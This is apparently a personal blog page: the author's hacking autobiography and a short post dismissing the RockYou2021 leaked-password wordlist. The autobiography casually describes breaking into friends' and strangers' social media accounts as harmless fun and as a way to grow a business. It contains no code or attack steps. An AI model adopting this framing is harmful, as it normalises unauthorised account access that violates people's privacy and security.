When I joined engineering, I was quiet and used to hack into friends’ accounts & say them their password (no harm). Then in 2008, I created this blog & started writing whatever I learnt before & whatever I was learning at that time. So, I feel in love with writing. Also, I started grabbing hacking tools from DarkWeb & used to post on globalhackerstools.blogspot.com (now its unavailable). I was so happy that I started getting more than 4000-5000 views per day on this blog site.

Then I came to know about google adSense, so as I am already eligible due to site traffic, my account got approved so soon. This was my first money making option from online. You will soon be able to understand why I am still writing these blogs (it’s not for adSense, lol).

I used to do marketing of my blog even in college by writing blog link everywhere possible but unfortunately, I was nicknamed as hacker in college either due to my activities on others accounts or due to this blogging link. But most of them don’t know my real name, they used to call me as hacker which I am not.

After college in 2011, I started hacking into most popular social networking website accounts after finding some vulnerabilities & in that process I unfortunately got connected to my ex. And after her, I started concentrating more on my career than having fun with hacking.

Then I started my business and wasn’t active in these activities but things are not going to be the same. I want to convert my fun into profession. So, I got Ethical Hacker Certification in 2012 (I think) & started providing penetration testing services & also I started getting sub contracts of big projects. In 2014, I started with another business, brokeup with my ex, stopped pen-test services and due to a long gap, programming is out of my mind. In 2015, I again got involved in hacking social networking website accounts but this time its for growing my business just by connecting with unknowns who are also interested in business. In same year, I got connected to my 2004-05 crush & became friends. From then I was more into work than hacking activities.

Again, now in 2021, I got here just to get rid of my stress & depression. I think we must do some positive activities which make us feel good & excited. Getting connected with other hackers, checking about new CVEs and all activities related to Hacking is my Stress Buster (at present). I don’t know when I will quit this again.

I hate those who are involved in ransomware activities, they rip company’s fortune. I hate all those hackers who are taking advantage of their skills. If all / most of them get involved in some technology, we would have been into much advanced world.

If you want to HACK, then hop onto Journals, grab them and start working on the development.

Read More

RockYou2021 8.4 Billion Passlist is a garbage

I am so embarrassed with this garbage called RockYou2021. I don't know who created it but, they are just random words. Its better you create your wordlist than using this.

I downloaded 2 zipped files, one is 8.7GB & the other is 4.5GB

After unzipping, its a huge 93GB TXT file

The real question is, will we be able to open it? LOL, no, I don't know really but I basically use EmEditor to open any text file which is in GBs but as I am using i7-7700k with 4.5Ghz speed processor, 32GB RAM, RTX 2060 GPU, this file is freezing my computer after 45GB of file load & I don't think I should wait further to view whole file.

Any use?
There are possibilities that this could be useful but mostly its just a random generated wordlist.

As per me, whatever the passwords are decrypted from leaked data would be better than using this. However I am not involved in cracking passwords as I don't have time for such shit.

Well, after checking with this file, I am deleting it which saves my disk by total of 104GB

Read More